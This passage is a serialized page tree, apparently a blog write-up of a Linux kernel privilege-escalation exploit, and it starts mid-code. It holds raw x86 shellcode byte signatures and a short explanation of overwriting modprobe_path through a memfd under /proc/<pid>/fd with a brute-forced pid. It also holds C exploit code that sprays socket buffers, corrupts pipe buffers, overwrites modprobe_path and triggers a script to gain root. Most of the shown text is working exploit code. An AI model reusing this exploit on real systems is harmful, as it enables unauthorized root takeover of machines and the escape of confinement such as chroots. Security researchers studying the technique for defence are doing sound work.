value":64753},"        memcmp",{"type":24,"tag":147,"props":64755,"children":64756},{"style":235},[64757],{"type":29,"value":64695},{"type":24,"tag":147,"props":64759,"children":64760},{"style":241},[64761],{"type":29,"value":624},{"type":24,"tag":147,"props":64763,"children":64764},{"style":705},[64765],{"type":29,"value":64766}," 0x7",{"type":24,"tag":147,"props":64768,"children":64769},{"style":235},[64770],{"type":29,"value":546},{"type":24,"tag":147,"props":64772,"children":64773},{"style":3534},[64774],{"type":29,"value":25663},{"type":24,"tag":147,"props":64776,"children":64777},{"style":53972},[64778],{"type":29,"value":64779},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":24,"tag":147,"props":64781,"children":64782},{"style":3534},[64783],{"type":29,"value":25663},{"type":24,"tag":147,"props":64785,"children":64786},{"style":235},[64787],{"type":29,"value":546},{"type":24,"tag":147,"props":64789,"children":64790},{"style":705},[64791],{"type":29,"value":60260},{"type":24,"tag":147,"props":64793,"children":64794},{"style":235},[64795],{"type":29,"value":564},{"type":24,"tag":147,"props":64797,"children":64798},{"style":241},[64799],{"type":29,"value":6600},{"type":24,"tag":147,"props":64801,"children":64802},{"style":705},[64803],{"type":29,"value":708},{"type":24,"tag":147,"props":64805,"children":64806},{"style":235},[64807],{"type":29,"value":269},{"type":24,"tag":147,"props":64809,"children":64810},{"class":149,"line":272},[64811,64815,64819],{"type":24,"tag":147,"props":64812,"children":64813},{"style":321},[64814],{"type":29,"value":7020},{"type":24,"tag":147,"props":64816,"children":64817},{"style":218},[64818],{"type":29,"value":18087},{"type":24,"tag":147,"props":64820,"children":64821},{"style":235},[64822],{"type":29,"value":432},{"type":24,"tag":147,"props":64824,"children":64825},{"class":149,"line":281},[64826],{"type":24,"tag":147,"props":64827,"children":64828},{"emptyLinePlaceholder":16},[64829],{"type":29,"value":314},{"type":24,"tag":147,"props":64831,"children":64832},{"class":149,"line":299},[64833],{"type":24,"tag":147,"props":64834,"children":64835},{"style":154},[64836],{"type":29,"value":64837},"    // get-sig kernel_runtime_2\n",{"type":24,"tag":147,"props":64839,"children":64840},{"class":149,"line":308},[64841,64845,64849,64853,64857,64861,64865,64869,64873,64878,64882,64886,64890,64894,64898,64902],{"type":24,"tag":147,"props":64842,"children":64843},{"style":321},[64844],{"type":29,"value":4759},{"type":24,"tag":147,"props":64846,"children":64847},{"style":235},[64848],{"type":29,"value":408},{"type":24,"tag":147,"props":64850,"children":64851},{"style":229},[64852],{"type":29,"value":64690},{"type":24,"tag":147,"props":64854,"children":64855},{"style":235},[64856],{"type":29,"value":64695},{"type":24,"tag":147,"props":64858,"children":64859},{"style":241},[64860],{"type":29,"value":624},{"type":24,"tag":147,"props":64862,"children":64863},{"style":705},[64864],{"type":29,"value":64704},{"type":24,"tag":147,"props":64866,"children":64867},{"style":235},[64868],{"type":29,"value":546},{"type":24,"tag":147,"props":64870,"children":64871},{"style":3534},[64872],{"type":29,"value":25663},{"type":24,"tag":147,"props":64874,"children":64875},{"style":53972},[64876],{"type":29,"value":64877},"\\xfc\\x0f\\x01\\x15",{"type":24,"tag":147,"props":64879,"children":64880},{"style":3534},[64881],{"type":29,"value":25663},{"type":24,"tag":147,"props":64883,"children":64884},{"style":235},[64885],{"type":29,"value":546},{"type":24,"tag":147,"props":64887,"children":64888},{"style":705},[64889],{"type":29,"value":23134},{"type":24,"tag":147,"props":64891,"children":64892},{"style":235},[64893],{"type":29,"value":564},{"type":24,"tag":147,"props":64895,"children":64896},{"style":241},[64897],{"type":29,"value":6600},{"type":24,"tag":147,"props":64899,"children":64900},{"style":705},[64901],{"type":29,"value":708},{"type":24,"tag":147,"props":64903,"children":64904},{"style":241},[64905],{"type":29,"value":58274},{"type":24,"tag":147,"props":64907,"children":64908},{"class":149,"line":317},[64909,64913,64917,64921,64926,64930,64934,64939,64943,64947,64952,64956,64960,64964],{"type":24,"tag":147,"props":64910,"children":64911},{"style":229},[64912],{"type":29,"value":64753},{"type":24,"tag":147,"props":64914,"children":64915},{"style":235},[64916],{"type":29,"value":64695},{"type":24,"tag":147,"props":64918,"children":64919},{"style":241},[64920],{"type":29,"value":624},{"type":24,"tag":147,"props":64922,"children":64923},{"style":705},[64924],{"type":29,"value":64925}," 0x8",{"type":24,"tag":147,"props":64927,"children":64928},{"style":235},[64929],{"type":29,"value":546},{"type":24,"tag":147,"props":64931,"children":64932},{"style":3534},[64933],{"type":29,"value":25663},{"type":24,"tag":147,"props":64935,"children":64936},{"style":53972},[64937],{"type":29,"value":64938},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":24,"tag":147,"props":64940,"children":64941},{"style":3534},[64942],{"type":29,"value":25663},{"type":24,"tag":147,"props":64944,"children":64945},{"style":235},[64946],{"type":29,"value":546},{"type":24,"tag":147,"props":64948,"children":64949},{"style":705},[64950],{"type":29,"value":64951},"12",{"type":24,"tag":147,"props":64953,"children":64954},{"style":235},[64955],{"type":29,"value":564},{"type":24,"tag":147,"props":64957,"children":64958},{"style":241},[64959],{"type":29,"value":6600},{"type":24,"tag":147,"props":64961,"children":64962},{"style":705},[64963],{"type":29,"value":708},{"type":24,"tag":147,"props":64965,"children":64966},{"style":241},[64967],{"type":29,"value":58274},{"type":24,"tag":147,"props":64969,"children":64970},{"class":149,"line":332},[64971,64975,64979,64983,64988,64992,64996,65001,65005,65009,65013,65017,65021,65025],{"type":24,"tag":147,"props":64972,"children":64973},{"style":229},[64974],{"type":29,"value":64753},{"type":24,"tag":147,"props":64976,"children":64977},{"style":235},[64978],{"type":29,"value":64695},{"type":24,"tag":147,"props":64980,"children":64981},{"style":241},[64982],{"type":29,"value":624},{"type":24,"tag":147,"props":64984,"children":64985},{"style":705},[64986],{"type":29,"value":64987}," 0x18",{"type":24,"tag":147,"props":64989,"children":64990},{"style":235},[64991],{"type":29,"value":546},{"type":24,"tag":147,"props":64993,"children":64994},{"style":3534},[64995],{"type":29,"value":25663},{"type":24,"tag":147,"props":64997,"children":64998},{"style":53972},[64999],{"type":29,"value":65000},"\\x89\\xde\\x8b\\x0d",{"type":24,"tag":147,"props":65002,"children":65003},{"style":3534},[65004],{"type":29,"value":25663},{"type":24,"tag":147,"props":65006,"children":65007},{"style":235},[65008],{"type":29,"value":546},{"type":24,"tag":147,"props":65010,"children":65011},{"style":705},[65012],{"type":29,"value":23134},{"type":24,"tag":147,"props":65014,"children":65015},{"style":235},[65016],{"type":29,"value":564},{"type":24,"tag":147,"props":65018,"children":65019},{"style":241},[65020],{"type":29,"value":6600},{"type":24,"tag":147,"props":65022,"children":65023},{"style":705},[65024],{"type":29,"value":708},{"type":24,"tag":147,"props":65026,"children":65027},{"style":241},[65028],{"type":29,"value":58274},{"type":24,"tag":147,"props":65030,"children":65031},{"class":149,"line":350},[65032,65036,65040,65044,65049,65053,65057,65062,65066,65070,65074,65078,65082,65086],{"type":24,"tag":147,"props":65033,"children":65034},{"style":229},[65035],{"type":29,"value":64753},{"type":24,"tag":147,"props":65037,"children":65038},{"style":235},[65039],{"type":29,"value":64695},{"type":24,"tag":147,"props":65041,"children":65042},{"style":241},[65043],{"type":29,"value":624},{"type":24,"tag":147,"props":65045,"children":65046},{"style":705},[65047],{"type":29,"value":65048}," 0x20",{"type":24,"tag":147,"props":65050,"children":65051},{"style":235},[65052],{"type":29,"value":546},{"type":24,"tag":147,"props":65054,"children":65055},{"style":3534},[65056],{"type":29,"value":25663},{"type":24,"tag":147,"props":65058,"children":65059},{"style":53972},[65060],{"type":29,"value":65061},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":24,"tag":147,"props":65063,"children":65064},{"style":3534},[65065],{"type":29,"value":25663},{"type":24,"tag":147,"props":65067,"children":65068},{"style":235},[65069],{"type":29,"value":546},{"type":24,"tag":147,"props":65071,"children":65072},{"style":705},[65073],{"type":29,"value":24027},{"type":24,"tag":147,"props":65075,"children":65076},{"style":235},[65077],{"type":29,"value":564},{"type":24,"tag":147,"props":65079,"children":65080},{"style":241},[65081],{"type":29,"value":6600},{"type":24,"tag":147,"props":65083,"children":65084},{"style":705},[65085],{"type":29,"value":708},{"type":24,"tag":147,"props":65087,"children":65088},{"style":241},[65089],{"type":29,"value":58274},{"type":24,"tag":147,"props":65091,"children":65092},{"class":149,"line":358},[65093,65097,65101,65105,65110,65114,65118,65123,65127,65131,65136,65140,65144,65148],{"type":24,"tag":147,"props":65094,"children":65095},{"style":229},[65096],{"type":29,"value":64753},{"type":24,"tag":147,"props":65098,"children":65099},{"style":235},[65100],{"type":29,"value":64695},{"type":24,"tag":147,"props":65102,"children":65103},{"style":241},[65104],{"type":29,"value":624},{"type":24,"tag":147,"props":65106,"children":65107},{"style":705},[65108],{"type":29,"value":65109}," 0x2a",{"type":24,"tag":147,"props":65111,"children":65112},{"style":235},[65113],{"type":29,"value":546},{"type":24,"tag":147,"props":65115,"children":65116},{"style":3534},[65117],{"type":29,"value":25663},{"type":24,"tag":147,"props":65119,"children":65120},{"style":53972},[65121],{"type":29,"value":65122},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":24,"tag":147,"props":65124,"children":65125},{"style":3534},[65126],{"type":29,"value":25663},{"type":24,"tag":147,"props":65128,"children":65129},{"style":235},[65130],{"type":29,"value":546},{"type":24,"tag":147,"props":65132,"children":65133},{"style":705},[65134],{"type":29,"value":65135},"24",{"type":24,"tag":147,"props":65137,"children":65138},{"style":235},[65139],{"type":29,"value":564},{"type":24,"tag":147,"props":65141,"children":65142},{"style":241},[65143],{"type":29,"value":6600},{"type":24,"tag":147,"props":65145,"children":65146},{"style":705},[65147],{"type":29,"value":708},{"type":24,"tag":147,"props":65149,"children":65150},{"style":241},[65151],{"type":29,"value":58274},{"type":24,"tag":147,"props":65153,"children":65154},{"class":149,"line":397},[65155,65159,65163,65167,65172,65176,65180,65185,65189,65193,65198,65202,65206,65210],{"type":24,"tag":147,"props":65156,"children":65157},{"style":229},[65158],{"type":29,"value":64753},{"type":24,"tag":147,"props":65160,"children":65161},{"style":235},[65162],{"type":29,"value":64695},{"type":24,"tag":147,"props":65164,"children":65165},{"style":241},[65166],{"type":29,"value":624},{"type":24,"tag":147,"props":65168,"children":65169},{"style":705},[65170],{"type":29,"value":65171}," 0x45",{"type":24,"tag":147,"props":65173,"children":65174},{"style":235},[65175],{"type":29,"value":546},{"type":24,"tag":147,"props":65177,"children":65178},{"style":3534},[65179],{"type":29,"value":25663},{"type":24,"tag":147,"props":65181,"children":65182},{"style":53972},[65183],{"type":29,"value":65184},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":24,"tag":147,"props":65186,"children":65187},{"style":3534},[65188],{"type":29,"value":25663},{"type":24,"tag":147,"props":65190,"children":65191},{"style":235},[65192],{"type":29,"value":546},{"type":24,"tag":147,"props":65194,"children":65195},{"style":705},[65196],{"type":29,"value":65197},"15",{"type":24,"tag":147,"props":65199,"children":65200},{"style":235},[65201],{"type":29,"value":564},{"type":24,"tag":147,"props":65203,"children":65204},{"style":241},[65205],{"type":29,"value":6600},{"type":24,"tag":147,"props":65207,"children":65208},{"style":705},[65209],{"type":29,"value":708},{"type":24,"tag":147,"props":65211,"children":65212},{"style":241},[65213],{"type":29,"value":58274},{"type":24,"tag":147,"props":65215,"children":65216},{"class":149,"line":421},[65217,65221,65225,65229,65234,65238,65242,65247,65251,65255,65259,65263,65267,65271],{"type":24,"tag":147,"props":65218,"children":65219},{"style":229},[65220],{"type":29,"value":64753},{"type":24,"tag":147,"props":65222,"children":65223},{"style":235},[65224],{"type":29,"value":64695},{"type":24,"tag":147,"props":65226,"children":65227},{"style":241},[65228],{"type":29,"value":624},{"type":24,"tag":147,"props":65230,"children":65231},{"style":705},[65232],{"type":29,"value":65233}," 0x55",{"type":24,"tag":147,"props":65235,"children":65236},{"style":235},[65237],{"type":29,"value":546},{"type":24,"tag":147,"props":65239,"children":65240},{"style":3534},[65241],{"type":29,"value":25663},{"type":24,"tag":147,"props":65243,"children":65244},{"style":53972},[65245],{"type":29,"value":65246},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":24,"tag":147,"props":65248,"children":65249},{"style":3534},[65250],{"type":29,"value":25663},{"type":24,"tag":147,"props":65252,"children":65253},{"style":235},[65254],{"type":29,"value":546},{"type":24,"tag":147,"props":65256,"children":65257},{"style":705},[65258],{"type":29,"value":9700},{"type":24,"tag":147,"props":65260,"children":65261},{"style":235},[65262],{"type":29,"value":564},{"type":24,"tag":147,"props":65264,"children":65265},{"style":241},[65266],{"type":29,"value":6600},{"type":24,"tag":147,"props":65268,"children":65269},{"style":705},[65270],{"type":29,"value":708},{"type":24,"tag":147,"props":65272,"children":65273},{"style":241},[65274],{"type":29,"value":58274},{"type":24,"tag":147,"props":65276,"children":65277},{"class":149,"line":435},[65278,65282,65286,65290,65295,65299,65303,65308,65312,65316,65320,65324,65328,65332],{"type":24,"tag":147,"props":65279,"children":65280},{"style":229},[65281],{"type":29,"value":64753},{"type":24,"tag":147,"props":65283,"children":65284},{"style":235},[65285],{"type":29,"value":64695},{"type":24,"tag":147,"props":65287,"children":65288},{"style":241},[65289],{"type":29,"value":624},{"type":24,"tag":147,"props":65291,"children":65292},{"style":705},[65293],{"type":29,"value":65294}," 0x61",{"type":24,"tag":147,"props":65296,"children":65297},{"style":235},[65298],{"type":29,"value":546},{"type":24,"tag":147,"props":65300,"children":65301},{"style":3534},[65302],{"type":29,"value":25663},{"type":24,"tag":147,"props":65304,"children":65305},{"style":53972},[65306],{"type":29,"value":65307},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":24,"tag":147,"props":65309,"children":65310},{"style":3534},[65311],{"type":29,"value":25663},{"type":24,"tag":147,"props":65313,"children":65314},{"style":235},[65315],{"type":29,"value":546},{"type":24,"tag":147,"props":65317,"children":65318},{"style":705},[65319],{"type":29,"value":23715},{"type":24,"tag":147,"props":65321,"children":65322},{"style":235},[65323],{"type":29,"value":564},{"type":24,"tag":147,"props":65325,"children":65326},{"style":241},[65327],{"type":29,"value":6600},{"type":24,"tag":147,"props":65329,"children":65330},{"style":705},[65331],{"type":29,"value":708},{"type":24,"tag":147,"props":65333,"children":65334},{"style":241},[65335],{"type":29,"value":58274},{"type":24,"tag":147,"props":65337,"children":65338},{"class":149,"line":444},[65339,65343,65347,65351,65356,65360,65364,65369,65373,65377,65381,65385,65389,65393],{"type":24,"tag":147,"props":65340,"children":65341},{"style":229},[65342],{"type":29,"value":64753},{"type":24,"tag":147,"props":65344,"children":65345},{"style":235},[65346],{"type":29,"value":64695},{"type":24,"tag":147,"props":65348,"children":65349},{"style":241},[65350],{"type":29,"value":624},{"type":24,"tag":147,"props":65352,"children":65353},{"style":705},[65354],{"type":29,"value":65355}," 0x6a",{"type":24,"tag":147,"props":65357,"children":65358},{"style":235},[65359],{"type":29,"value":546},{"type":24,"tag":147,"props":65361,"children":65362},{"style":3534},[65363],{"type":29,"value":25663},{"type":24,"tag":147,"props":65365,"children":65366},{"style":53972},[65367],{"type":29,"value":65368},"\\x48\\xc7\\xc6",{"type":24,"tag":147,"props":65370,"children":65371},{"style":3534},[65372],{"type":29,"value":25663},{"type":24,"tag":147,"props":65374,"children":65375},{"style":235},[65376],{"type":29,"value":546},{"type":24,"tag":147,"props":65378,"children":65379},{"style":705},[65380],{"type":29,"value":22901},{"type":24,"tag":147,"props":65382,"children":65383},{"style":235},[65384],{"type":29,"value":564},{"type":24,"tag":147,"props":65386,"children":65387},{"style":241},[65388],{"type":29,"value":6600},{"type":24,"tag":147,"props":65390,"children":65391},{"style":705},[65392],{"type":29,"value":708},{"type":24,"tag":147,"props":65394,"children":65395},{"style":241},[65396],{"type":29,"value":58274},{"type":24,"tag":147,"props":65398,"children":65399},{"class":149,"line":452},[65400,65404,65408,65412,65417,65421,65425,65430,65434,65438,65442,65446,65450,65454],{"type":24,"tag":147,"props":65401,"children":65402},{"style":229},[65403],{"type":29,"value":64753},{"type":24,"tag":147,"props":65405,"children":65406},{"style":235},[65407],{"type":29,"value":64695},{"type":24,"tag":147,"props":65409,"children":65410},{"style":241},[65411],{"type":29,"value":624},{"type":24,"tag":147,"props":65413,"children":65414},{"style":705},[65415],{"type":29,"value":65416}," 0x71",{"type":24,"tag":147,"props":65418,"children":65419},{"style":235},[65420],{"type":29,"value":546},{"type":24,"tag":147,"props":65422,"children":65423},{"style":3534},[65424],{"type":29,"value":25663},{"type":24,"tag":147,"props":65426,"children":65427},{"style":53972},[65428],{"type":29,"value":65429},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":24,"tag":147,"props":65431,"children":65432},{"style":3534},[65433],{"type":29,"value":25663},{"type":24,"tag":147,"props":65435,"children":65436},{"style":235},[65437],{"type":29,"value":546},{"type":24,"tag":147,"props":65439,"children":65440},{"style":705},[65441],{"type":29,"value":24027},{"type":24,"tag":147,"props":65443,"children":65444},{"style":235},[65445],{"type":29,"value":564},{"type":24,"tag":147,"props":65447,"children":65448},{"style":241},[65449],{"type":29,"value":6600},{"type":24,"tag":147,"props":65451,"children":65452},{"style":705},[65453],{"type":29,"value":708},{"type":24,"tag":147,"props":65455,"children":65456},{"style":241},[65457],{"type":29,"value":58274},{"type":24,"tag":147,"props":65459,"children":65460},{"class":149,"line":461},[65461,65465,65469,65473,65478,65482,65486,65491,65495,65499,65503,65507,65511,65515],{"type":24,"tag":147,"props":65462,"children":65463},{"style":229},[65464],{"type":29,"value":64753},{"type":24,"tag":147,"props":65466,"children":65467},{"style":235},[65468],{"type":29,"value":64695},{"type":24,"tag":147,"props":65470,"children":65471},{"style":241},[65472],{"type":29,"value":624},{"type":24,"tag":147,"props":65474,"children":65475},{"style":705},[65476],{"type":29,"value":65477}," 0x78",{"type":24,"tag":147,"props":65479,"children":65480},{"style":235},[65481],{"type":29,"value":546},{"type":24,"tag":147,"props":65483,"children":65484},{"style":3534},[65485],{"type":29,"value":25663},{"type":24,"tag":147,"props":65487,"children":65488},{"style":53972},[65489],{"type":29,"value":65490},"\\xff\\xe0",{"type":24,"tag":147,"props":65492,"children":65493},{"style":3534},[65494],{"type":29,"value":25663},{"type":24,"tag":147,"props":65496,"children":65497},{"style":235},[65498],{"type":29,"value":546},{"type":24,"tag":147,"props":65500,"children":65501},{"style":705},[65502],{"type":29,"value":8753},{"type":24,"tag":147,"props":65504,"children":65505},{"style":235},[65506],{"type":29,"value":564},{"type":24,"tag":147,"props":65508,"children":65509},{"style":241},[65510],{"type":29,"value":6600},{"type":24,"tag":147,"props":65512,"children":65513},{"style":705},[65514],{"type":29,"value":708},{"type":24,"tag":147,"props":65516,"children":65517},{"style":235},[65518],{"type":29,"value":269},{"type":24,"tag":147,"props":65520,"children":65521},{"class":149,"line":469},[65522,65526,65530],{"type":24,"tag":147,"props":65523,"children":65524},{"style":321},[65525],{"type":29,"value":7020},{"type":24,"tag":147,"props":65527,"children":65528},{"style":218},[65529],{"type":29,"value":18087},{"type":24,"tag":147,"props":65531,"children":65532},{"style":235},[65533],{"type":29,"value":432},{"type":24,"tag":147,"props":65535,"children":65536},{"class":149,"line":508},[65537],{"type":24,"tag":147,"props":65538,"children":65539},{"emptyLinePlaceholder":16},[65540],{"type":29,"value":314},{"type":24,"tag":147,"props":65542,"children":65543},{"class":149,"line":572},[65544,65548,65552],{"type":24,"tag":147,"props":65545,"children":65546},{"style":321},[65547],{"type":29,"value":2597},{"type":24,"tag":147,"props":65549,"children":65550},{"style":218},[65551],{"type":29,"value":14682},{"type":24,"tag":147,"props":65553,"children":65554},{"style":235},[65555],{"type":29,"value":432},{"type":24,"tag":147,"props":65557,"children":65558},{"class":149,"line":591},[65559],{"type":24,"tag":147,"props":65560,"children":65561},{"style":235},[65562],{"type":29,"value":827},{"type":24,"tag":147,"props":65564,"children":65565},{"class":149,"line":632},[65566],{"type":24,"tag":147,"props":65567,"children":65568},{"style":235},[65569],{"type":29,"value":15939},{"type":24,"tag":43,"props":65571,"children":65573},{"id":65572},"overwriting-modprobe_path",[65574,65576],{"type":29,"value":65575},"Overwriting ",{"type":24,"tag":80,"props":65577,"children":65579},{"className":65578},[],[65580],{"type":29,"value":63963},{"type":24,"tag":25,"props":65582,"children":65583},{},[65584,65586,65592],{"type":29,"value":65585},"Finding the ",{"type":24,"tag":80,"props":65587,"children":65589},{"className":65588},[],[65590],{"type":29,"value":65591},"/sbin/modprobe",{"type":29,"value":65593}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":24,"tag":25,"props":65595,"children":65596},{},[65597,65599,65605],{"type":29,"value":65598},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":24,"tag":80,"props":65600,"children":65602},{"className":65601},[],[65603],{"type":29,"value":65604},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":29,"value":65606}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":24,"tag":137,"props":65608,"children":65610},{"className":34712,"code":65609,"language":34714,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[65611],{"type":24,"tag":80,"props":65612,"children":65613},{"__ignoreMap":7},[65614,65621,65643,65651,65658,65666,65674,65682,65690,65697,65705,65712,65750,65761,65768,65775,65782,65809,65840,65847,65869,65882,65889,65947,65954,65982,65989,65996,66017,66024,66045,66056,66063,66070,66091,66098,66126,66137,66144,66151,66200,66207,66275,66282,66303,66323,66330,66337,66344,66364],{"type":24,"tag":147,"props":65615,"children":65616},{"class":149,"line":150},[65617],{"type":24,"tag":147,"props":65618,"children":65619},{"style":235},[65620],{"type":29,"value":15939},{"type":24,"tag":147,"props":65622,"children":65623},{"class":149,"line":160},[65624,65629,65634,65639],{"type":24,"tag":147,"props":65625,"children":65626},{"style":235},[65627],{"type":29,"value":65628},"    puts(\"[*] ",{"type":24,"tag":147,"props":65630,"children":65631},{"style":9044},[65632],{"type":29,"value":65633},"overwrite",{"type":24,"tag":147,"props":65635,"children":65636},{"style":9044},[65637],{"type":29,"value":65638}," modprobe_path",{"type":24,"tag":147,"props":65640,"children":65641},{"style":3534},[65642],{"type":29,"value":61879},{"type":24,"tag":147,"props":65644,"children":65645},{"class":149,"line":169},[65646],{"type":24,"tag":147,"props":65647,"children":65648},{"style":3534},[65649],{"type":29,"value":65650},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":24,"tag":147,"props":65652,"children":65653},{"class":149,"line":178},[65654],{"type":24,"tag":147,"props":65655,"children":65656},{"style":3534},[65657],{"type":29,"value":3079},{"type":24,"tag":147,"props":65659,"children":65660},{"class":149,"line":187},[65661],{"type":24,"tag":147,"props":65662,"children":65663},{"style":3534},[65664],{"type":29,"value":65665},"        pipebuf->page = modprobe_page;\n",{"type":24,"tag":147,"props":65667,"children":65668},{"class":149,"line":196},[65669],{"type":24,"tag":147,"props":65670,"children":65671},{"style":3534},[65672],{"type":29,"value":65673},"        pipebuf->offset = modprobe_off;\n",{"type":24,"tag":147,"props":65675,"children":65676},{"class":149,"line":205},[65677],{"type":24,"tag":147,"props":65678,"children":65679},{"style":3534},[65680],{"type":29,"value":65681},"        pipebuf->len = 0;\n",{"type":24,"tag":147,"props":65683,"children":65684},{"class":149,"line":214},[65685],{"type":24,"tag":147,"props":65686,"children":65687},{"style":3534},[65688],{"type":29,"value":65689},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":24,"tag":147,"props":65691,"children":65692},{"class":149,"line":272},[65693],{"type":24,"tag":147,"props":65694,"children":65695},{"style":3534},[65696],{"type":29,"value":37259},{"type":24,"tag":147,"props":65698,"children":65699},{"class":149,"line":281},[65700],{"type":24,"tag":147,"props":65701,"children":65702},{"style":3534},[65703],{"type":29,"value":65704},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":24,"tag":147,"props":65706,"children":65707},{"class":149,"line":299},[65708],{"type":24,"tag":147,"props":65709,"children":65710},{"style":3534},[65711],{"type":29,"value":37295},{"type":24,"tag":147,"props":65713,"children":65714},{"class":149,"line":308},[65715,65720,65724,65728,65732,65737,65741,65745],{"type":24,"tag":147,"props":65716,"children":65717},{"style":3534},[65718],{"type":29,"value":65719},"                perror(\"",{"type":24,"tag":147,"props":65721,"children":65722},{"style":235},[65723],{"type":29,"value":9358},{"type":24,"tag":147,"props":65725,"children":65726},{"style":241},[65727],{"type":29,"value":3470},{"type":24,"tag":147,"props":65729,"children":65730},{"style":235},[65731],{"type":29,"value":14286},{"type":24,"tag":147,"props":65733,"children":65734},{"style":9044},[65735],{"type":29,"value":65736},"write",{"type":24,"tag":147,"props":65738,"children":65739},{"style":235},[65740],{"type":29,"value":480},{"type":24,"tag":147,"props":65742,"children":65743},{"style":9044},[65744],{"type":29,"value":47534},{"type":24,"tag":147,"props":65746,"children":65747},{"style":235},[65748],{"type":29,"value":65749},")\");\n",{"type":24,"tag":147,"props":65751,"children":65752},{"class":149,"line":317},[65753,65757],{"type":24,"tag":147,"props":65754,"children":65755},{"style":321},[65756],{"type":29,"value":64543},{"type":24,"tag":147,"props":65758,"children":65759},{"style":235},[65760],{"type":29,"value":432},{"type":24,"tag":147,"props":65762,"children":65763},{"class":149,"line":332},[65764],{"type":24,"tag":147,"props":65765,"children":65766},{"style":235},[65767],{"type":29,"value":1935},{"type":24,"tag":147,"props":65769,"children":65770},{"class":149,"line":350},[65771],{"type":24,"tag":147,"props":65772,"children":65773},{"style":235},[65774],{"type":29,"value":441},{"type":24,"tag":147,"props":65776,"children":65777},{"class":149,"line":358},[65778],{"type":24,"tag":147,"props":65779,"children":65780},{"emptyLinePlaceholder":16},[65781],{"type":29,"value":314},{"type":24,"tag":147,"props":65783,"children":65784},{"class":149,"line":397},[65785,65789,65793,65797,65801,65805],{"type":24,"tag":147,"props":65786,"children":65787},{"style":229},[65788],{"type":29,"value":60206},{"type":24,"tag":147,"props":65790,"children":65791},{"style":235},[65792],{"type":29,"value":480},{"type":24,"tag":147,"props":65794,"children":65795},{"style":241},[65796],{"type":29,"value":485},{"type":24,"tag":147,"props":65798,"children":65799},{"style":235},[65800],{"type":29,"value":64355},{"type":24,"tag":147,"props":65802,"children":65803},{"style":705},[65804],{"type":29,"value":3173},{"type":24,"tag":147,"props":65806,"children":65807},{"style":235},[65808],{"type":29,"value":64364},{"type":24,"tag":147,"props":65810,"children":65811},{"class":149,"line":421},[65812,65816,65821,65825,65830,65835],{"type":24,"tag":147,"props":65813,"children":65814},{"style":229},[65815],{"type":29,"value":60907},{"type":24,"tag":147,"props":65817,"children":65818},{"style":235},[65819],{"type":29,"value":65820},"(fd_path, ",{"type":24,"tag":147,"props":65822,"children":65823},{"style":218},[65824],{"type":29,"value":384},{"type":24,"tag":147,"props":65826,"children":65827},{"style":235},[65828],{"type":29,"value":65829},"(fd_path), ",{"type":24,"tag":147,"props":65831,"children":65832},{"style":3534},[65833],{"type":29,"value":65834},"\"/proc/%i/fd/%i\"",{"type":24,"tag":147,"props":65836,"children":65837},{"style":235},[65838],{"type":29,"value":65839},", i, modprobe_fd);\n",{"type":24,"tag":147,"props":65841,"children":65842},{"class":149,"line":435},[65843],{"type":24,"tag":147,"props":65844,"children":65845},{"emptyLinePlaceholder":16},[65846],{"type":29,"value":314},{"type":24,"tag":147,"props":65848,"children":65849},{"class":149,"line":444},[65850,65855,65860,65864],{"type":24,"tag":147,"props":65851,"children":65852},{"style":229},[65853],{"type":29,"value":65854},"        lseek",{"type":24,"tag":147,"props":65856,"children":65857},{"style":235},[65858],{"type":29,"value":65859},"(modprobe_fd, ",{"type":24,"tag":147,"props":65861,"children":65862},{"style":705},[65863],{"type":29,"value":3173},{"type":24,"tag":147,"props":65865,"children":65866},{"style":235},[65867],{"type":29,"value":65868},", SEEK_SET);\n",{"type":24,"tag":147,"props":65870,"children":65871},{"class":149,"line":452},[65872,65877],{"type":24,"tag":147,"props":65873,"children":65874},{"style":229},[65875],{"type":29,"value":65876},"        dprintf",{"type":24,"tag":147,"props":65878,"children":65879},{"style":235},[65880],{"type":29,"value":65881},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, 